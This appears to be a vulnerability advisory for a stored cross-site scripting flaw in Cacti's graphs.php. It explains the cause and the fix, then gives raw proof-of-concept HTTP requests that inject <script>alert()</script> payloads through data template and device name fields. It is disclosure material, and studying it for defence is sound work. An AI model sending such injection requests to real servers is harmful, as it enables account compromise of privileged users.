Stored Cross-site Scripting on graphs.php data template formated name view in Cacti

An authenticated user with 'Template Editor>Data Templates' permissions can inject malicious JavaScript into a data source name via `data_templates.php`. Alternatively, a user with 'General Administration>Sites/Devices/Data' permissions can inject JavaScript into a device name via `host.php` [ref_id=1]. When a user with 'General Administration>Graphs' privileges views the graph management page (`graphs.php`), the injected script is executed in their browser [ref_id=1].

The vulnerability lies in the `graphs.php` script, specifically around line 1543, where the variable `$name` is printed without prior HTML escaping. This variable can contain user-controlled data from either data source names or device names [ref_id=1].

The advisory recommends addressing this vulnerability by manually adding HTML escaping to user-supplied information before it is rendered. This prevents malicious code from being interpreted as executable JavaScript by the victim's browser. Users are advised to upgrade to version 1.2.25 or later, or apply manual HTML escaping if an upgrade is not immediately possible.

POST /cacti/data_templates.php?header=false HTTP/1.1 Host: <HOST> Content-Length: 528 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://<HOST> Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close

__csrf_magic=<TOKEN>&template_name=Apache+HTTP++-+CPU+Load&data_template_id=3&data_template_data_id=3&current_rrd=0&save_component_template=1&name=%7Chost_description%7C+-+Apache+HTTP++-+CPU+Load+%3Cscript%3Ealert('from+data+templates+data+source+name')%3C%2Fscript%3E&data_input_id=15&data_source_profile_id=1&rrd_step=300&active=on&data_source_name=apache_cpuload&rrd_minimum=0&rrd_maximum=100&data_source_type_id=1&rrd_heartbeat=600&data_input_field_id=52&data_template_rrd_id=3&value_hostname=&action=save

POST /cacti/host.php?header=false HTTP/1.1 Host: <HOST> Content-Length: 739 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://harry Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close

__csrf_magic=<TOKEN>&description=%3Cscript%3Ealert('malicious+code+in+device+name')%3C%2Fscript%3E&hostname=localhost&location=&poller_id=1&site_id=1&host_template_id=1&device_threads=1&snmp_version=2&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=&external_id=&id=4&save_component_host=1&graph_template_id=26&snmp_query_id=5&reindex_method=1&action=save

GET /cacti/graphs.php?action=graph_edit&id=6&debug=1 HTTP/1.1 Host: <HOST> Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close